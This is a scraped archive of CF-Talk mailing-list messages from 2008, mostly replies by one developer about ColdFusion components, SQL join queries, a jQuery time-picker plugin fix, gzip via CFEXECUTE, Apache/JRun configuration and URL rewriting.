Ioannis, I'm not sure you can do that, but, could you extend your cfc's? This might work -- in your component2.cfc in your component3.cfc: -- Josh - Original Message - From: "Ioannis Papanikolaou" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Sunday, March 16, 2008 1:47 PM Subject: AjaxCFC question > Hello to everyone familiar with ajaxCFC, > > My component file component.cfc start getting too big and difficult to > manage (loads of functions there). Is there any way I could define more > than one components on the config of the index page. For example at the > moment I have: > > _ajaxConfig = { '_cfscriptLocation':'component.cfc', >'_jsscriptFolder':'/js', >'debug':false}; > > Can I do : > > _ajaxConfig = { '_cfscriptLocation':'component1.cfc, component2.cfc, > component3.cfc', >'_jsscriptFolder':'/js', >'debug':false}; > > thanx in advance > > Ioannis > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:301406 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: adding query results
> Am I dreaming this? I cant find the function. > > Maybe it was a SQL function... I don't think you can do that in CF without looping or perhaps query of query. Maybe you're thinking of valuelist which takes a column values and returns a delimited list of the values. In SQL check out SUM(column) or also ROLLUP. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:300873 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: query help
I think you've made a bit of an error there. With inner joins, the query returns no results. This is what I expected. Using a left outer join also returns no rows. This makes sense as you're maintaining the rows from the wrong table. Changing it to a right outer join creates a cross dependency error. The user table has all of the users. The doc table has all of the docs. The user_doc table has one entry for each time a user has signed off on having read a document. A row is inserted with the user id and the doc id. What I'm trying to return is the users who have not signed off on viewing one or more documents and the documents on which they've failed to sign off. Subject: query help From: Sonny Savage Date: Mon, 10 Mar 2008 08:39:57 -0400 Thread: http://www.houseoffusion.com/groups/cf-talk/thread.cfm/threadid:55471#300843 Question: Do you also want a result in the case where there is no USER_DOCS record for a given USER and DOC record (FULL OUTER JOIN)? On Sat, Mar 8, 2008 at 12:12 AM, Josh McKinley <[EMAIL PROTECTED]> wrote: - Excess quoted text cut - see Original Post for more - ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:300853 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: query help
OK, so let's just say that the "where not exists" option is comparable in efficiency. I ran the query and was greeted by every row in the tables. 70K results instead of the 60 or so I should be getting. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:300798 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
re: query help
I'm really looking for a solution with only one query using joins. It should be possible to do this with a couple of joins. This query, suggested by Steve, would work well if the tables remained small: SELECT user_id,user_name,doc_id,doc_name FROM USERS,DOCS WHERE NOT EXISTS ( SELECT signoff_id FROM USER_DOCS WHERE user_id = USERS.user_id AND doc_id = DOCS.doc_id) In large tables, though, I don't think it's going to be a very good solution. It seems like something along the lines of this should work: select u.user_name, d.doc_name from docs d left join( users u left join user_docs ud on u.user_id = ud.user_id ) where ud.user_id is null Actually, I just tried that and it does work on my test db, which is mysql. Strangely enough, I tried it on the production db which is SQL Server (tables are different, but relationships are the same) and it doesn't work. Anybody know why this doesn't work in SQL Server 2K??? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:300794 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: query help
By the way, this is a MySQL DB. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:300789 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
query help
I've got three tables like this (simplified): USERS user_id user_name DOCS doc_id doc_name USER_DOCS signoff_id user_id doc_id I need all user names and doc names where the combination doesn't exist in the signoff table USER_DOCS. For example, user 12 hasn't signed of on doc 9 and user 6 hasn't signed off on doc 44, I need to know that. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:300787 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Publishing for google calendar
Dominic - if you might be looking for an alternative to Google calendar, check out my application at http://www.calabunga.com. It does iCal import/export pretty nicely. -- Josh - Original Message - From: "Dominic Watson" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Wednesday, February 27, 2008 1:01 PM Subject: OT: Publishing for google calendar > Has anyone successfully done this? I have tried exporting a calendar from > google calendar in xml format, saving that xml file on my server and then > 'importing' by url back into google calendar. When I do this the dates > entries all dissapear. I have also tried various examples of ical HTML and > other formats to no avail. > > Any pointers or does it just not work all the time (I came across a lot of > bugs already) > > Dominic > > -- > Blog it up: http://fusion.dominicwatson.co.uk > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:300031 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: timeout problem
>I am having a bit of an issue with a page timeing out. What i am doing is > creating a scheduled task that will upload billing info from one database > into the database that contains our billing data. Each scheduled task has a "timeout" setting so you can enter a big value there. I'm not sure how that's handled on a shared server though, if that's your environment. It could be that the server's request timeout setting will override the scheduled task setting. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:299636 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: OT - JS Date picker
> @Josh > > I just tried the updated file and it works like a charm. Thank you SIR! > > You have saved the day. I will buy you your beverage of choice if I ever > get > the chance. Awesome, it feels good to be able to help out. If you're ever out in San Francisco drop a line and I'll take you up on that. > BTW, it is pretty amazing getting a bug fix like that. What are the odds > of > that happening again? I'd say slim, but there is a fair amount of overlap between the CF and jQuery communities. A bunch of folks are on both CF-Talk and the main jQuery email list. And the jQuery people are by and large extremely helpful and friendly. In fact, considering how a lot of people out there say CF is "dying," I'm always surprised at how many people on the jQuery list reference that they are working in CF. It seems to be a close second to PHP. Makes me think that the CF community size is dramatically underestimated. > Just a heads up, but the link for jquery.clockpick.1.2.2.packed.js is 404 Thanks, it's fixed now. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:299487 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: OT - JS Date picker
> Awesome Josh! Be sure to update the jQuery plugin repo with your fix. :) It's done. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:299481 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: OT - JS Date picker
Gerald, the plugin is fixed and available now. Let me know if you encounter any issues. http://www.oakcitygraphics.com/jquery/clockpick/trunk/ClockPick.cfm -- Josh - Original Message - From: "Gerald Guido" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Wednesday, February 20, 2008 9:59 AM Subject: Re: OT - JS Date picker >>>I think I've isolated what the incompatibility is. > If you can hang on for a bit I'll try to release a fixed version later > today. > > Thank you sir. Much appreciated! > > BTW nice work. But you knew that ;) > > > > > On Feb 20, 2008 12:53 PM, Josh Nathanson <[EMAIL PROTECTED]> wrote: > >> Hey Gerald, >> >> ClockPick is my plugin...I wasn't aware of the doctype issue. I've been >> doing some googling and I think I've isolated what the incompatibility >> is. >> If you can hang on for a bit I'll try to release a fixed version later >> today. >> >> -- Josh >> >> >> - Original Message - >> From: "Gerald Guido" <[EMAIL PROTECTED]> >> To: "CF-Talk" >> Sent: Wednesday, February 20, 2008 9:11 AM >> Subject: Re: OT - JS Date picker >> >> >> > Thank you. Looks good. >> > I am mostly looking for a *Time* picker. Actually I have the Calendar >> > working I just need the time picker. >> > >> > www.dynarch.com/projects/calendar >> > >> > The boss man doesn't like how the time selector works. >> > >> > @ Robert Harrison. >> > >> > We are on CF 7 at the moment. >> > >> > >> > On Feb 20, 2008 11:55 AM, Imperial, Robert <[EMAIL PROTECTED]> >> > wrote: >> > >> >> Not sure if this will work for you but have you tried >> >> http://www.yxscripts.com/xc2/index.html ? >> >> >> >> Bob >> >> >> >> -Original Message- >> >> From: Gerald Guido [mailto:[EMAIL PROTECTED] >> >> Sent: Wednesday, February 20, 2008 11:49 AM >> >> To: CF-Talk >> >> Subject: OT - JS Date picker >> >> >> >> I need a date picker. The CIO is super picky and wants it "just so" >> >> and >> >> doesn't know (or care) what hoops I have to go though to do it. I got >> >> one >> >> that works (and meets his requirements): >> >> >> >> http://www.oakcitygraphics.com/jquery/clockpick/ClockPick.cfm >> >> >> >> But it needs the Doc Type declared to work in IE. >> >> >> >> Ex: >> >> > >> "http://www.w3.org/TR/html4/loose.dtd";> >> >> >> >> There is no doc type declared in our intranet (not my doing btw). So >> >> declaring the Doc Type renders the drop down nav bars useless and >> totaly >> >> mucks up the design in both browsers (of course it does). >> >> >> >> Does anyone have anything on hand that you have used? Yes I googled it >> >> and >> >> it is slim pickins >> >> >> >> The main requirements are: free, that it looks decent, and that the >> user >> >> not >> >> have to click anything to close the time picker widget after selecting >> >> the >> >> time. Which was his main objection to this one (Which is very nice): >> >> http://www.nogray.com/js_tools.php >> >> >> >> And yes I tried to make it do so but my JS chops aren't all that >> >> advanced >> >> and I don't want to muck around with the source code. >> >> >> >> TIA, >> >> Gerald >> >> >> >> >> >> >> >> >> >> >> > >> > >> >> > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:299466 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: OT - JS Date picker
Hey Gerald, ClockPick is my plugin...I wasn't aware of the doctype issue. I've been doing some googling and I think I've isolated what the incompatibility is. If you can hang on for a bit I'll try to release a fixed version later today. -- Josh - Original Message - From: "Gerald Guido" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Wednesday, February 20, 2008 9:11 AM Subject: Re: OT - JS Date picker > Thank you. Looks good. > I am mostly looking for a *Time* picker. Actually I have the Calendar > working I just need the time picker. > > www.dynarch.com/projects/calendar > > The boss man doesn't like how the time selector works. > > @ Robert Harrison. > > We are on CF 7 at the moment. > > > On Feb 20, 2008 11:55 AM, Imperial, Robert <[EMAIL PROTECTED]> > wrote: > >> Not sure if this will work for you but have you tried >> http://www.yxscripts.com/xc2/index.html ? >> >> Bob >> >> -Original Message- >> From: Gerald Guido [mailto:[EMAIL PROTECTED] >> Sent: Wednesday, February 20, 2008 11:49 AM >> To: CF-Talk >> Subject: OT - JS Date picker >> >> I need a date picker. The CIO is super picky and wants it "just so" and >> doesn't know (or care) what hoops I have to go though to do it. I got >> one >> that works (and meets his requirements): >> >> http://www.oakcitygraphics.com/jquery/clockpick/ClockPick.cfm >> >> But it needs the Doc Type declared to work in IE. >> >> Ex: >> > "http://www.w3.org/TR/html4/loose.dtd";> >> >> There is no doc type declared in our intranet (not my doing btw). So >> declaring the Doc Type renders the drop down nav bars useless and totaly >> mucks up the design in both browsers (of course it does). >> >> Does anyone have anything on hand that you have used? Yes I googled it >> and >> it is slim pickins >> >> The main requirements are: free, that it looks decent, and that the user >> not >> have to click anything to close the time picker widget after selecting >> the >> time. Which was his main objection to this one (Which is very nice): >> http://www.nogray.com/js_tools.php >> >> And yes I tried to make it do so but my JS chops aren't all that >> advanced >> and I don't want to muck around with the source code. >> >> TIA, >> Gerald >> >> >> >> >> > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:299447 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: messages in an application
> Ive written quite a few of these and have ended up with the following base > data structure... > > recipientID (tied to userID in a user table) Just to add a bit to this, you might want to make the messages to recipients a one-to-many relationship, i.e. one message may have multiple recipients, in case someone wants to send a message to multiple people. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:299446 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: MySQL and Dates
>> What's the best way to convert the format my form uses to something mySQL >> can read. >> I'll be looking for records between two dates, etc. Then use sqldate in your sql query. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:299364 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: OT - Box has been attacked by cowboy
> That is the moral equivolent of holding a car rental company liable for > accidents caused by people that rent the cars. The responsibility for the > security for *unmanaged* servers the the person that operates the server, > not the company from which it is rented. Just like you are responsible for > securing your own desktop at home. In that case I take back my jab at them. I didn't realize they were unmanaged. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:299148 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: OT - Box has been attacked by cowboy
>I would say that if SoftLayer's boxes are being compromised to launch > attacks, then yes they are bad actors. Since we have seen many attacks > coming from different Ips that are registered to them, I feel confident in > making that assertion. Their name is strangely apropos. "Soft Layer" indeed. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:299144 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: A little CFEXECUTE help
> Or perhaps output over a certain size is failing? I haven't seen it > done the way you are doing it there (not that its wrong), passing the > binary data through coldfusion by using the outputfile attribute. What > attributes are you passing to gzip? By default it deletes the file you > are compressing, so this should work: Ryan, your suggestion worked perfectly. I wasn't aware that the default behavior of gzip was to delete the file being compressed and write the compressed file automatically, thus making the outputfile attribute unnecessary. Probably what was happening was a threading/race condition issue of some sort, where sometimes the outputfile attribute was overwriting the compressed file and sometimes not. Thanks a bunch, I probably never would have figured that out. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:299138 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
A little CFEXECUTE help
Hey all, I'm trying to do a little CFEXECUTE magic on a Linux box, gzipping an xml file on the fly. All is well except that the resulting file is occasionally empty. It seems to work about 50% of the time, then the other 50% I get an empty .gz file. My code looks like this: The paths are all correct -- as I mentioned it does work about half the time so there are no path or permission issues. I also tried adding in the arguments -f (force) and -q (quiet), but it doesn't seem to make a difference. Any thoughts? -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:299109 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: a sIMPLER url?
> and I get 404 - not found... I think you need to remove that trailing slash in the rewrite rule, if it will not be present on the request url: RewriteRule (.*)/seminar/(.*) $1/seminar.cfm?VAR=$2 -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:298915 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Apache and CF7
> Already tried that. Didn't work either. But I'll try again. > > Nope still says it can't load mod_jrun20.so. Well, PHP blows anyway. Time to give up. ;0) Seriously though, if the module file is really there in the right directory and everything then it should work. The path shows your CF installation at the very top level, is that where it is on your C drive? Sometimes the installation ends up in the Program Files directory. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:298594 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Apache and CF7
You have some conflicting information there: > LoadModule jrun_module > "c:/CFusionMX7/runtime/lib/wsconfig/1/mod_jrun20.so" > In my httpd.conf file I have the directive (note the 20 after jrun). -- Josh - Original Message - From: "Phillip M. Vector" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Friday, February 08, 2008 3:30 PM Subject: Apache and CF7 > After trying to redo my CF 7 set up with apache (because I also want to > start learning PHP to increase my marketability, I have this error. > == > The Apache service named reported the following error: > >>> httpd.exe: Syntax error on line 485 of C:/Program Files/Apache > Software Foundation/Apache2.2/conf/httpd.conf: Cannot load > C:/CFusionMX7/runtime/lib/wsconfig/1/mod_jrun20.so into server: The > specified procedure could not be found. > == > > I added this to the httpd.conf at the end and yes, I verified the file > is there. > == > # JRun Settings > LoadModule jrun_module > "c:/CFusionMX7/runtime/lib/wsconfig/1/mod_jrun20.so" > > JRunConfig Verbose false > JRunConfig Apialloc false > JRunConfig Ssl false > JRunConfig IgnoreSuffixmap false > JRunConfig Serverstore > "c:/CFusionMX7/runtime/lib/wsconfig/1/jrunserver.store" > JRunConfig Bootstrap 127.0.0.1:51000 > #JRunConfig Errorurl > JRunConfig jrun-handler .jsp .jws .cfm .cfml .cfc .cfswf .cfr > > == > > When I try to go to the page, I get a "download" box to download the cfm > file. Most likely because I couldn't get this active to reconize the cfm > file to process via the jrun server. > > So my apache won't even start up now and I'm going bald.. Any ideas on > what could be causing the trouble and how to fix it? > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:298589 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Alert component
You could load the user's reminder data into the client either by outputting directly into javascript, or via an ajax call...then set up a timer using setInterval that runs every minute or so to check the client time against their reminder times. If the times match up pop an alert window. -- Josh - Original Message - From: "Don L" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Friday, February 08, 2008 1:53 PM Subject: Alert component > Hi, > > I did some quick research for an Alert component/function to no avail. > Here's the problem/objective statement. > > Say, my schedule data is stored in a db table, I would like to be alerted > 30 minutes > or 45 minutes or whatever you name it before the the event and also let's > assume I'm at my computer. So, a tiny javascript-based popup window for > such an alert would seem to make sense. This is just a starter... > I'm aware Outlook etc. has alert function ... > Your take? > > Anyone else interested in this? > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:298574 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: ColdFusion: Some People Just Don't Know Any Better
> If they are making good money on it, and it's mostly from the enterprise > sector, wouldn't it make sense to let the educational institutions have it > for free? This way enterprise would have a better pool of talent, and are > more likely to get CF/stick with CF in the coming years. I don't have any good answers as to why the owners of CF haven't done some of the obvious things that would improve its adoption, other than that they haven't been "forced" to do so. With Macromedia and now Adobe, their success as a whole is not dependent on the success of CF, so I imagine they focus their marketing efforts on their more popular product lines. There are only so many person-hours to go around, and I imagine that any product line that is profitable with essentially zero marketing effort is not going to have additional person-hours assigned to it. This is probably much less frustrating for Adobe than it is for us developers. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:298450 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: ColdFusion: Some People Just Don't Know Any Better
> >Well it's a bit hard for CF, because of the pricing model. CF is priced > >per >>Server, meanwhile all the other technologies you mention can be hosted for >>(relatively) free. .NET makes it up by selling more Windows Server >>licenses, and PHP and RoR are free. All the evidence we can gather points to the fact that Allaire, Macromedia and now Adobe are profitable with the ColdFusion pricing model exactly as it stands. So, there's very little motivation to address their marketing approach. If they were losing money on ColdFusion, I think you'd see them either doing more marketing, or dropping the product line entirely. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:298446 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: CFC, YES OR NO
> just 'cuz i think this could be an interesting convo... then why use > CFCs at all? if you're just grouping similar functions together, why > not just a cfinclude to a .cfm? One good reason is you can cache the CFC in the Application scope (as long as it is a "singleton"), so it's always in RAM thus the performance is better, and then you can do Application.mycfc.mymethod() which is handy. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:298393 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: iterators
> How are you doing this iterator exactly? I have just made and been using > my > own dao iterator base component and it has so far been really fast and > easy > to use (and dang handy, definately a good idea). I would loop like so: Also check out Peter Bell's IBO (Iterating Business Object) concept which does something similar. http://ibo.riaforge.org/ -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:298374 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: ColdFusion: Some People Just Don't Know Any Better
> They should put out a request specifically for people who are switching > to CF to contact them for use in their marketing materials as case > studies. They might get for example that FigLeaf client Dave Watts > mentioned. Good idea. They do have quite a few case studies already, but you can never have too many. http://www.adobe.com/products/coldfusion/customers/ -- Josh - Original Message - From: "s. isaac dealey" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Tuesday, February 05, 2008 12:19 PM Subject: Re: SPAM: Re: ColdFusion: Some People Just Don't Know Any Better >> I'm not surprised. The big question continues to be "What can Adobe >> do to promote ColdFusion?" CF gets press on releases, and Adobe has >> actively and aggressively marketed toward the government IT sector >> for a few years now. I just want to see the articles that say "Yeah, >> we're migrating from .Net to ColdFusion. It's just a much more >> dynamic and integrated platform." > > They should put out a request specifically for people who are switching > to CF to contact them for use in their marketing materials as case > studies. They might get for example that FigLeaf client Dave Watts > mentioned. > > > -- > s. isaac dealey ^ new epoch > isn't it time for a change? > ph: 503.236.3691 > > http://onTap.riaforge.org/blog > > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:298265 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Upload progress bar
> Will, Why limit yourself: http://www.ajaxload.info/ we Wow. Thanks for that link! -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:298024 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4